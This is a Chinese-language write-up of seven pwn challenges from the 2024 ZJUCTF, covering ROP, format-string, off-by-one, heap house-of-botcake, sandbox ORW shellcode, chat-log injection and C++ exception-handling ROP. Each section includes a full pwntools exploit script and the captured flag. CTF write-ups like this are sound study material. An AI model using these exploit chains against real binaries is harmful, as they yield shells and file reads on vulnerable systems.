2024-ZJUCTF-Pwn

引言:

2024 ZJUCTF PWN方向题解,包括easy rop, simple-echo, cakebot, chatroom, 大A口算, sandbox, catchcat七道题目。比去年难不少,还得练~

1 easy rop

先看下,程序,main函数里面什么都没有,调用了一个read_name函数。

read_name函数里有一个无数次的栈溢出。同时会对输入的前三个字节进行验证,如果是ZJU或者SJTU的话就退出,否则输出buf中的内容。

程序开启了PIE,并且没有给libc。算是rop的板子题。

本题的大体思路如下:

  • 第一次栈溢出溢出buf到read_name的返回地址,并使其认证失败输出buf,连带拉出read_name返回地址,从而得到程序加载的基地址。
  • 第二次栈溢出利用rop,返回putsplt,使其输出putsgot,泄露libc。之后再返回到read_name函数。
  • 第三次栈溢出直接pop, str_bin_sh, system

由于程序没给libc,这里借助LibcSearcher的工具搜一下~

exp如下,注意栈对齐,在rop链里加ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from wstube import websocket
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

p = websocket("wss://ctf.zjusec.com/api/proxy/3388170e-b155-4bb7-a51b-bbcef939ddf2")
# p = process("./rop")
elf = ELF("./rop")
padding = b"ZJU"
padding = padding.ljust(0x38, b"A")
payload = b"A" * 0x38
# p.recv()
p.sendafter(b"Print Your name please: ", payload)

p.recvuntil(b"A" * 0x38)
base_main_addr = u64(p.recv(6).ljust(8, b"\x00")) - 0x8F5
# p.recv()
p.info(hex(base_main_addr))

pop_rdi = 0x963 + base_main_addr
ret = 0x666 + base_main_addr
payload = padding + p64(pop_rdi) + p64(elf.got["printf"] + base_main_addr) + p64(ret) + p64(elf.plt["printf"] + base_main_addr) + p64(base_main_addr + 0x8f0)
# gdb.attach(p)

p.sendlineafter(b"Print Your name please: ", payload)
p.recvuntil(b"\x0a")
printf_addr = u64(p.recv(6).ljust(8, b"\x00"))

libc = LibcSearcher("printf", printf_addr)
libc_base = printf_addr - libc.dump("printf")
system = libc_base + libc.dump("system")
str_bin_sh = libc_base + libc.dump("str_bin_sh")

payload = padding + p64(pop_rdi) + p64(str_bin_sh) + p64(ret) + p64(system)
p.sendlineafter(b"Print Your name please: ", payload)


p.interactive()

flag: ZJUCTF{@n_1a$y_R0p_cHalL_1N_x64|A7hdJk5wN7}

2 Simple echo

checksec看下程序,没有开PIE,GOT可写

程序里面是一个三次的格式化字符串。

附件中给了libc,后面就好办了。这边思路是把返回地址覆盖成one_gadget, 但one_gadget对rbp还有一些限制,通过动态调试可以发现,main函数返回的时候rbp会被弹为1。

这显然是不行的,所以我们至少需要一个格式化字符串把rbp指向的值写成一个可读可写的地址。

本题的大体思路如下:

  • 第一次fmt,同时泄露栈地址和main函数返回地址,进而泄露libc
  • 第二次fmt,覆盖main函数返回地址为one_gadget
  • 第三次fmt,覆盖rbp指向的值为bss+0x78的地址

利用逐字节写入的方法,本题exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
from wstube import websocket
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

p = websocket("wss://ctf.zjusec.com/api/proxy/626881a6-f61d-4c93-9691-f5a07f174a22")
# p = process("./app")
elf = ELF("./app")

stack_pointer_offset = 7 + (0xc8 - 0x8) // 8 # -0x10
ret_addr_pointer_offset = 7 + (0xa8 - 0x8) // 8


p.recv()

payload = "%{}$p".format(stack_pointer_offset) + "%{}$p".format(ret_addr_pointer_offset)
p.sendline(payload)
p.recvuntil(b"Blala:")
stack_pointer = eval(p.recv(14).decode()) - 0x110
main_ret_addr = eval(p.recv(14).decode())

libc = ELF("./libc.so.6")

libc_base = main_ret_addr - 0x29d90
p.info(hex(libc_base))
one_gadget = [0x50a47, 0xebc81, 0xebc85, 0xebc88]

target_addr = libc_base + one_gadget[0]

p.info(hex(target_addr))

payload = "aa" + "%{}c%{}$hhn".format(target_addr % 0x100 - 8, 16)
payload += "%{}c%{}$hhn".format((target_addr >> 8) % 0x100 + (0x100 - (target_addr % 0x100)), 17)
payload += "%{}c%{}$hhn".format((target_addr >> 16) % 0x100 + (0x100 - (target_addr >> 8) % 0x100), 18)
payload += "%{}c%{}$hhn".format((target_addr >> 24) % 0x100 + (0x100 - (target_addr >> 16) % 0x100), 19)
payload = payload.encode().ljust(0x3a, b"\x00")
payload += p64(stack_pointer)
payload += p64(stack_pointer + 1)
payload += p64(stack_pointer + 2)
payload += p64(stack_pointer + 3)

p.sendline(payload)


stack_pointer -= 0x8

rbp_mov = 0x404040 + 0x78

payload = "aa" + "%{}c%{}$hhn".format(rbp_mov % 0x100 - 8, 16)
payload += "%{}c%{}$hhn".format((rbp_mov >> 8) % 0x100 + (0x100 - (rbp_mov % 0x100)), 17)
payload += "%{}c%{}$hhn".format((rbp_mov >> 16) % 0x100 + (0x100 - (rbp_mov >> 8) % 0x100), 18)
payload += "%{}c%{}$hhn".format((rbp_mov >> 24) % 0x100 + (0x100 - (rbp_mov >> 16) % 0x100), 19)
payload = payload.encode().ljust(0x3a, b"\x00")
payload += p64(stack_pointer)
payload += p64(stack_pointer + 1)
payload += p64(stack_pointer + 2)
payload += p64(stack_pointer + 3)
# gdb.attach(p)

p.sendline(payload)

p.interactive()

flag: ZJUCTF{f0rMAt_5TR1Ng_bU9_iS_O1D_8uT_c001|0335}

3 大A口算

口算系列第三道,先看程序。大意和前两道题一样,但这次连题目集都不给了。

但综合前两道题可以看到,这个程序无论我们答对多少道题目,他都不会给我们实质性的加分,而且假如我们答错的题目数比答对的题目数少,还会强制退出。所以去改分数神马的就不行了。

因为是个pwn题,所以肯定不能按照一般思路来。逆一下程序,定位这两个地方。上面是说最开始最大只允许输入0x100的字节的答案集,之后会去验证我们的答案。

前面是说首次输入最多可以输0x100个答案,之后最多可以输的答案数由之前的答案数决定。

最后观察到一个off_by_one。 这个off_by_one结合前面的strlen就很有用。

假设我们第一次0x100字节填满,第一次跑完他就会在0x101的位置填一个回车

第二次输入的时候,长度由第一次的决定,所以最多还是0x100,再次填满

但此时,第二次运行strlen的时候就会把第一次在后面补的\n算进去,答案长度变成了0x101

等到第三次输入的时候,就可以输入0x101的字节了。

以此类推,就这样一个字节一个字节得off_by_one,加上最后他还会很好心的输出s中的内容,就可以泄露canary+返回地址啦~

目标,覆盖返回地址到0x1f9f偏移处,让他去输出flag

这道题还是需要大量动态调试的,比如输到多少个字节的时候泄露到canary,多少个字节的时候刚好泄露到返回地址什么的,还是很考调试技能的。

至于答案预测嘛,中A口算已经爆破了远端时间戳,这里直接用就好啦~

本题exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
import ctypes
from wstube import websocket
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"

elf = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

rand = elf.rand
srand = elf.srand

p = websocket("wss://ctf.zjusec.com/api/proxy/c934a14c-bfd6-4620-8a41-153b88b4aefb")
# p = process("./arithmetic")
p.sendlineafter(b"Input your choice: ", b"3")
p.recvlines(3)
total = -441849598
base_epoch = 1729179178
epoch_time_now = int(time.time())

srand(epoch_time_now + total)
p.recvuntil(b"The size of question set is Customized! So enjoy youself! :)\n\n\n")
offset_ret = 0x2150
offset_2 = 0x1f9f
target_addr = 0
next_size = 0
for i in range(0, 18 + 32 + 30):
a_list = []
b_list = []
ans_list = ""
if next_size == 289:
ans_list = b"submit".ljust(264, b"\x00") + p64(canary) + p64(0) + p64(target_addr)
p.sendafter(b"Now guess the answer, I'll correct your answer:\n", ans_list)
break
elif i < 18:
for j in range(0x100 + (i // 2)):
a = rand() % 20
b = rand() % 20
if a > b:
ans_list += ">"
elif a < b:
ans_list += "<"
else:
ans_list += "="
elif i >= 18:
for j in range(next_size+1):
a = rand() % 20
b = rand() % 20
if a > b:
ans_list += ">"
elif a < b:
ans_list += "<"
else:
ans_list += "="
print(hex(i))
p.sendafter(b"Now guess the answer, I'll correct your answer:\n", ans_list)

if i != 0:
p.recvuntil(b"You set the size of question to ")
next_size = eval(p.recv(3).decode())
p.info(hex(next_size))
if i == 17:
p.recvuntil(ans_list.encode())
p.recv(1)
canary = u64(p.recv(7).rjust(8, b"\x00"))
p.info(hex(canary))
if i == 0x14:
p.recvuntil(ans_list.encode())
p.recv(1)
main_base_addr = u64(p.recv(6).ljust(8, b"\x00")) - offset_ret
target_addr = main_base_addr + offset_2
p.info(hex(target_addr))

p.interactive()


(嘶这时间戳写wp时候不管用了,懒得再爆破了wwwww.....)

4 cake bot

如此高版本的libc堆题我还是第一次见.....也好,因为这个题配了个24.04的Ubuntu容器。

先checksec一下~

看下libc的版本..这版本真是前所未见啊.....没关系,先当2.35的来做吧。

逆一下程序,经典菜单,提供增删查三个功能。

添加堆块的部分没什么好说的,一个size list和一个chunk list。比较好玩的是可以指定下标申请。

删除堆块的部分只free了没清空,可能会有一个UAF漏洞。并且free的时候不会判断size是否为空,有Double free的可能

show就是正常的show,但会判断size是否为空,也就是咱们不能直接show已经free的堆块。

但free的时候不会判断。我们申请了一个堆块,把它free掉,然后再申请第二的堆块,这时候chunk[1]chunk[0]是指向同一个Allocatedchunk的。现在我们再把chunk[0]free掉,这时候chunk[1]chunk[0]都指向了一个free的堆块,但chunk[1]的size不是空的,我们可以通过这种方法,去泄露libc地址和heap地址

申请一个大堆块,给他free掉让他进入unsorted bin,里面就有libc的地址了。heap的地址嘛,申请一个小堆块,让他进入tcache bin,当tache bin的一条链上只有一个堆块的时候,它的fd指针就是heap_addr >> 12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
add(1, 0x800, b"A")
delete(1)
add(15, 0x800, b"A")
add(3, 0x50, b"A")
delete(1)
show(15)
p.recvuntil(b"This box will be sent to:\n\x00")
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x203b20
# libc_base = u64(p.recv(6).ljust(8, b"\x00")) - ((0x750dcd21ace0-0x750dcd000000))
p.info(hex(libc_base))
add(13, 0x800, b"A") # 打扫战场


add(1, 0x40, b"A")
delete(1)
add(14, 0x40, b"B")
delete(1)
show(14)
p.recvuntil(b"This box will be sent to:\n\x00")
tcache_bin_base = u64(p.recv(6).ljust(8, b"\x00")) << 12
key = (tcache_bin_base >> 12)
delete(3) # 打扫战场

做完事要记得打扫战场....不然后面出了什么bug都de不出来.....

由于没有edit的函数,后面我们打一个house of botcake。

house of botcake的核心在于绕过对Double free的检查。如果一个堆块要进入到tcache bin的时候,会检查它的key位是否为heap_addr,如果是则发生Double free,程序寄掉。在没有edit函数的情况下,我们可以通过已free的堆块合并的方式,绕过检查。

本题思路大致如下:

  • 先分配七个一样大小的并且size合适的堆块(可以大一点,防止待会进入fastbin),再分配两个相同大小的堆块,然后把前七个堆块free掉,把tcachebin的一条链路堆满
  • 之后free掉第八个堆块,让他进入到unsorted bin,再free掉第七个堆块,这样就会触发unsorted bin的合并,七八两个堆块合并成一个大堆块
  • 分配一个相同大小的堆块,使得tcache bin里面有一个空位,把第八个堆块free掉,这时候因为第八个堆块里面的各种东西都已经没了,绕过了tcache bin对Double free的检查。现在第八个堆块既在tcache bin里,又在unsorted bin里。
  • 分配一个比上述堆块大小稍微大一点的堆块,这时候会优先从Unsorted bin里面切一块出来,这样就可以通过编辑这个堆块溢出到上述第八个堆块的fd位,tcache bin就会断链,之后就可以任意地址读写啦~

之后按照libc2.35的一般套路打一个environ布栈就好啦~

本题exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *
from wstube import websocket
context(os='linux', arch='amd64', log_level='debug')
p = websocket("wss://ctf.zjusec.com/api/proxy/521a1467-b250-4513-9148-28766495e876")
# p = process("./cakebot", {"LD_PRELOAD" : "./libc.so.6"})
libc = ELF("./libc.so.6")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(idx, size, content):
sla(b"Your choice: ", str(1))
sla(b"Choose a box to pack the cake:\n", str(idx))
sla(b"Input size of shipping address:\n", str(size))
sla(b"Input your address:\n", content)

def delete(idx):
sla(b"Your choice: ", str(2))
sla(b"Input index of box to send:\n", str(idx))

def show(idx):
sla(b"Your choice: ", str(3))
sla(b"Input index of box to check:\n", str(idx))

# for i in range(7):

add(1, 0x800, b"A")
delete(1)
add(15, 0x800, b"A")
add(3, 0x50, b"A")
delete(1)
show(15)
p.recvuntil(b"This box will be sent to:\n\x00")
libc_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x203b20
# libc_base = u64(p.recv(6).ljust(8, b"\x00")) - ((0x750dcd21ace0-0x750dcd000000))
p.info(hex(libc_base))
add(13, 0x800, b"A")


add(1, 0x40, b"A")
delete(1)
add(14, 0x40, b"B")
delete(1)
show(14)
p.recvuntil(b"This box will be sent to:\n\x00")
tcache_bin_base = u64(p.recv(6).ljust(8, b"\x00")) << 12
key = (tcache_bin_base >> 12) + 1
delete(3)

for i in range(7):
add(i, 0x100, b"A")

add(7, 0x100, b"B")
add(8, 0x100, b"C")

add(9, 0x30, b"K")

for i in range(7):
delete(i)


delete(8) # victim
delete(7)
add(10, 0x100, b"D")

delete(8)
p.info(hex(libc_base))

# add(11, 0x40, b"L")
environ = libc.sym["__environ"] + libc_base
_bss = 0x00000000002046e0 + libc_base
IO_list_all = libc_base + libc.sym["_IO_list_all"]
p.info(hex(environ))
p.info(hex(tcache_bin_base ))
p.info(hex(IO_list_all))

payload = b"A" * 0x100 + p64(0) + p64(0x111) + p64(key ^ (environ - 0x28))

add(11,0x120, payload)

add(12, 0x100, b"C"*0x10)

add(0, 0x100, b"C"*0x10)
show(0)

p.recvuntil(b"C\x0a")
p.recv(23)
stack_addr = u64(p.recv(6).ljust(8, b"\x00")) - (0x608 - 0x4d8)
p.info(hex(stack_addr))
delete(12)
delete(11)
one_gadget = [0x50a47, 0xebc81, 0xebc85, 0xebc88]
target_addr = libc_base + one_gadget[0]
one_gadget = [0x583e3, 0x1111aa, 0x1111b2, 0x1111b7]

pop_rdi = libc_base + libc.search(asm("pop rdi; ret")).__next__()
ret = pop_rdi + 1
# p.info(libc.search(asm("pop rdi; ret")).__next__())
str_bin_sh = libc_base + libc.search(b"/bin/sh\x00").__next__()
system = libc_base + libc.sym["system"]

payload = b"A" * 0x100 + p64(0) + p64(0x111) + p64(key ^ (stack_addr - 0x18))

add(11, 0x120, payload)

payload = p64(ret) * 5 + p64(pop_rdi) + p64(str_bin_sh) + p64(ret) + p64(system)

add(12, 0x100, b"A")
# gdb.attach(p)
p.info(hex(stack_addr))
# pause()
add(1, 0x100, payload)
p.interactive()

吐个槽,我觉得比较难受的是,最后获取的shell不在根目录下,就导致我在这里狂ls啥都没有,还以为寄了,又de了好久bug,后来发现容器里压根没问题笑死我了。

flag: ZJUCTF{C4ke_8ot?_8otC4ke!}

5 sandbox

沙箱shellcode+orw题,checksec一下,保护全开

程序里面ban了syscall,但给了一个syscall的plt,相当于给了syscall,到时候调一下寄存器就完事了。

题目还把flag的文件名改成了flag的md5值...没事,读个目录名泄露一下就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
shellcode_1 = f"""
pop rbx
sub rbx, {shellcode_ret_offset}


mov rdi, 2
mov rsi, 0x0000000000002f
push rsi
mov rsi, rsp

push rbx
add rbx, {offset_to_syscall}
call rbx

mov rdi, 78
mov rsi, rax
pop rdx
push rdx
add rdx, {offset_to_bss}
mov rcx, 0x500

pop rbx
push rbx
add rbx, {offset_to_syscall}
call rbx

mov rdi, 1
mov rsi, 1
pop rdx
push rdx
add rdx, {offset_to_bss}
mov rcx, 0x270
pop rbx
push rbx
add rbx, {offset_to_syscall}
call rbx

pop rbx
push rbx
add rbx, {elf.sym["main"]}
call rbx
"""

可以看到文件名已经泄露出来了,之后再来一次ORW就好了~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from wstube import websocket
from LibcSearcher import *

context.log_level = "debug"
context.arch = "amd64"
p = websocket("wss://ctf.zjusec.com/api/proxy/fddd0457-0699-4be8-9cc9-34cef9538b48")
# p = process("./pwn")
elf = ELF("./pwn")
offset_to_syscall = elf.plt["syscall"]
shellcode_ret_offset = 0x14c1
offset_to_bss = 0x4010
flag= "/de27cb9335d01bb7576f00a72c13239d"

shellcode_2 = f"""
pop rbx
sub rbx, {shellcode_ret_offset}

mov rdi, 0
mov rsi, 0
mov rdx, rbx
add rdx, {offset_to_bss + 0x10}
mov rcx, 0x21
push rbx
add rbx, {offset_to_syscall}
call rbx

mov rdi, 2
pop rsi
push rsi
add rsi, {offset_to_bss + 0x10}
mov rdx, 0
mov rcx, 0

pop rbx
push rbx
add rbx, {offset_to_syscall}
call rbx

mov rdi, 0
mov rsi, rax
pop rdx
push rdx
add rdx, {offset_to_bss + 0x30}
mov rcx, 0x1000

pop rbx
push rbx
add rbx, {offset_to_syscall}
call rbx

mov rdi, 1
mov rsi, 1
pop rdx
push rdx
add rdx, {offset_to_bss + 0x30}
mov rcx, 0x100
pop rbx
push rbx
add rbx, {offset_to_syscall}
call rbx

pop rbx
push rbx
add rbx, {elf.sym["main"]}
call rbx
"""
# gdb.attach(p)

p.sendlineafter(b"Input your shellcode:\n", asm(shellcode_2))
p.interactive()

由于懒得把那么长一串存到内存里,所以在shellcode里加了一个read的调用输入flag的名字哈哈哈哈哈

flag: ZJUCTF{M45ter_of_O_R_W}

6 chat room

给源码就好说了,没给源码的时候确实有点难度....

先看server的码吧,server创建了两个线程,bot线程每隔十秒会往log.txt里去写flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (connect(sockfd, (struct sockaddr *)(&server_addr), sizeof(struct sockaddr)) == -1)
err("connect error");

Online *bot = (Online *)malloc(sizeof(Online));
bot->fd = -1;
bot->uid = 99901;
strcpy(bot->username, BOT_NAME);
bot->next = head;
head = bot;

int fd;
if ((fd = open("./flag", O_RDONLY)) < 0)
err("open flag error");
char flag[BUFLEN] = {0};
read(fd, flag, BUFLEN);
flag[strcspn(flag, "\n")] = '\0';

所以目标很明确,想个办法把flag从log.txt里搞出来。

定位源码中的DISPLAY_LOG, 会把我当前用户接受到的和发出的消息都输出一遍。

这里注意到用strtok去拆分每一行的内容,分为sender,recevier,text,time。截断方式很有意思,也就是说我假如用户名里就有#他也会拆分。

那假如我的内容里面就有回车呢?那回车后面的部分就会跳到下一行去,成为下一行的用户名。并且log的写入方式采用snprintf 只要给他塞满,就不会在内容之后加"" 而是\0 。这样,当bot进程再次输出flag的时候,他的那行日志就会和我们输入的内容拼在一起啦~

最后只要再创建一个跟上述被回车干下去的内容名字一样的用户,再DISPLAY_LOG 就能把flag输出出来了。

本题的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
from wstube import websocket
from LibcSearcher import *
import struct

from enum import Enum

class Flag(Enum):
LOGIN = 0
LOGOUT = 1
REGISTER = 2
RESET_PASSWORD = 3
DISPLAY_ONLINE_USER = 4
DISPLAY_LOG = 5
CHATONE = 6
CHATALL = 7

DATABASE_ERROR = 8
FILE_ERROR = 9
LOGIN_REPEATED = 10
LOGIN_UID_ERROR = 11
LOGIN_PASSWORD_ERROR = 12
REGISTER_USERNAME_REPEATED = 13
DISPLAY_ONLINE_USER_FINISHED = 14
DISPLAY_LOG_FINISHED = 15
CHATONE_NOT_EXIST = 16
CHATONE_RECEIVER = 17
CHATALL_RECEIVER = 18


context(os='linux', arch='amd64', log_level='debug')
context.log_level = "debug"
context.arch = "amd64"

server_address = "localhost"
server_port = 9999

class Message:
def __init__(self, flag, uid, rid, username, msg):
self.flag = flag
self.uid = uid
self.rid = rid
self.username = username
self.msg = msg

def pack(self):
username_packed = self.username.ljust(0x100, '\0')
msg_packed = self.msg.ljust(0x100, '\0')
return struct.pack("iii256s256s", self.flag, self.uid, self.rid, username_packed.encode(), msg_packed.encode())

conn = websocket("wss://ctf.zjusec.com/api/proxy/be102991-58a1-45a2-937e-9b4760c7453b")

password = "AAA"
name = "T" * 0x3f + "#" + "T" * 0x3f + "#" + "T" * 0x3f + "#" + "B" * 0x20 + "\n" + "C"

register_message = Message(flag = 2, uid = 0, rid = 0, username=name, msg = password).pack()
conn.send(register_message)
response = conn.recv(1024)
print("Server Response: ", response)
uid_my = u32(response[4:8])
conn.info(hex(uid_my))

login_message = Message(flag=0, uid=uid_my, rid=0, username=name, msg=password).pack()
conn.send(login_message)
response = conn.recv(1024)
print("Server Response: ", response)

chat_message = Message(flag=6, uid=uid_my, rid=99901, username=name, msg="AA").pack()
conn.send(chat_message)
response = conn.recv(1024)
print("Server Response: ", response)

logout_message = Message(flag=1, uid=0, rid=0, username="", msg="AA").pack()
conn.send(logout_message)
response=conn.recv(1024)
print("Server Response: ", response)

sleep(10)

name = "C"
register_message = Message(flag = 2, uid = 0, rid = 0, username=name, msg = password).pack()
conn.send(register_message)
response = conn.recv(1024)
print("Server Response: ", response)
uid_my = u32(response[4:8])
conn.info(hex(uid_my))

login_message = Message(flag=0, uid=uid_my, rid=0, username=name, msg=password).pack()
conn.send(login_message)
response = conn.recv(1024)
print("Server Response: ", response)


display_messgae = Message(flag = 5, uid=uid_my, rid=0, username=name, msg=password).pack()
conn.send(display_messgae)
response = conn.recv(1024)
print("Server Response: ", response)

conn.interactive()

中间等十秒的原因是让bot进程有充足的时间写日志~

flag: ZJUCTF{d0g_go4t_n1gh5ing4le_p3ngu1n_r4bb1t_w0lf}

7 catch cat

C++异常处理,checksec一下,保护全开

反汇编一下,main函数里有一个catch块去捕获异常的。

catch函数就是去抓猫,没什么特别的,注意到这里也会有一个throw,应该是被main函数里的catch块处理

name函数里就是给猫起名字,没什么特殊的,最多可以输0x100个字节。chat函数就有意思了,里面可以跟猫讲话,并且有一个栈溢出:

这snprintf一点也不安全,动态调试了一下这玩意居然可以溢出到0x125 + 0x80

这个异常处理可以帮助我们绕过canary,但是下面的puts就用不到了。

看源码可以看到main函数里面是有两个异常处理的,一个处理无符号整数,一个处理字符串。

1
2
3
4
5
6
7
8
9
catch (uint64_t val)
{
printf("Ouch! An error occurs: %lu\n", val);
}
catch(const char *msg)
{
printf("Ouch! An error occurs: %s\n", msg);
break;
}

无符号整数的异常处理之后是不会退出的,而字符串会。异常处理的时候会发生栈回溯,也就是说一层一层得网上找,回溯当前栈空间,清理变量,落到之前函数的栈空间。

同时还会根据返回地址去找当前函数内是否有可以处理该异常的catch块,如果有则处理,没有则一直往上找。

所以在rop的时候一定要保证原来这个函数的ret_addr落在可以被处理的try块内!

所以现在思路就有了,上面说我们一共可以溢出0x125 + 0x80,动调了一下发现这长度不仅能溢出当前函数的栈,还能溢出main函数的栈!也就是说,我们只要正确得触发这个异常处理,就可以回到main函数的catch块,break之后就能打一个华丽的rop。

栈回溯仅清理前面的函数栈,后面的啥都不管,只要让他能正确找到catch块,后面爱咋咋地。

现在还有一个问题,程序地址怎么得。之前说程序处理choice的异常的时候不会breakchoice是用scanf输入的,scanf在处理整形数输入时如果接受到了+ -会跳过本次输入。那这时候的choice就变成栈上的脏数据了,可以通过这种方法来获取程序地址。

main函数里的choice没用,但是catch函数里的choice有用

本题的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
from wstube import websocket
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
p = websocket("wss://ctf.zjusec.com/api/proxy/c1946bff-1f70-4c5b-99c4-b16d19fe2fc1")
# p = process("./catchcat")
elf = ELF("./catchcat")
libc = ELF("./libc.so.6")
# libc = ELF("./libc.so.6")


def catch(idx):
sla(b">> ", str(1))
sla(b">> ", str(idx))

def namec(content):
sla(b">> ", b"2" + content)
# sa(b"New name for your cat: ", content)

def chat(message):
sla(b">> ", b"3" + message)
# sla(b"Leave your message: ", )


# gdb.attach(p)
sla(b">>", b"+")
p.recvuntil(b"Ouch! An error occurs: ")
addr_1 = eval(p.recvline()[:-1].decode())
p.info(hex(addr_1))

sla(b">>", b"1")

sla(b">>", b"+")
p.recvuntil(b"Ouch! An error occurs: ")
addr_2 = eval(p.recvline()[:-1].decode())
p.info(hex(addr_2))
main_base_addr = addr_2 - 0x2008
rw_addr = main_base_addr + 0x4080
catch_ret_addr = main_base_addr + 0x1435

catch(1)
ret_addr = main_base_addr + 0x101a
pop_rsi = main_base_addr + 0x141b
pop_rsp_r12_r14 = main_base_addr + 0x1417
printf_chk_ = main_base_addr + 0x1761
printf_chk_main = main_base_addr + 0x13CB
stack_pivot_input_addr = main_base_addr + 0x1699
set_buf_empty = main_base_addr + 0x1574
payload = b"A" * 0xff

# namec(payload)
namec(payload + b"\n")
payload = b"B" * 6
payload += p64(catch_ret_addr)
payload += p64(rw_addr) * ((0x168-0x130) // 8)
payload += p64(pop_rsi)
payload += p64(main_base_addr + elf.got["puts"])
payload += p64(printf_chk_)
payload += p64(ret_addr) * 3
payload += p64(main_base_addr + 0x1480)


chat(payload)
p.recvuntil(b"An error occurs: Small cat cannot understand such a long sentence~\n")
puts_addr = u64(p.recv(6).ljust(8, b"\x00"))
libc_base = puts_addr - libc.sym["puts"]
one_gadget = [0x50a47, 0xebc81, 0xebc85, 0xebc88]
pop_rdi = libc_base + libc.search(asm("pop rdi;ret")).__next__()
str_bin_sh = libc_base + libc.search(b"/bin/sh").__next__()
system = libc_base + libc.sym["system"]
p.info(hex(puts_addr))
p.info(hex(libc_base))

catch(1)
payload = b"A" * 0xff
# namec(payload)
namec(payload + b"\n")
# gdb.attach(p)
payload = b"B" * 6
payload += p64(catch_ret_addr)
payload += p64(rw_addr) * ((0x168-0x130) // 8)
# payload += p64(set_buf_empty)
payload += p64(pop_rdi)
payload += p64(str_bin_sh)
payload += p64(pop_rdi + 1)
payload += p64(system)
# payload += p64(rw_addr)
chat(payload)
inter()

可以看到这里面我的各种padding都比较怪异,那是因为程序用的fgets(,,stdin), 鬼知道我上一次什么东西输的不好下一次就读进去了,搞的栈乱七八糟的....

返回start再来一次也是因为第二次rop的时候栈特别乱,摆烂了,得了得了回start重开吧....

flag: ZJUCTF{tRyyyyc4tChc@tca5cHcaT~}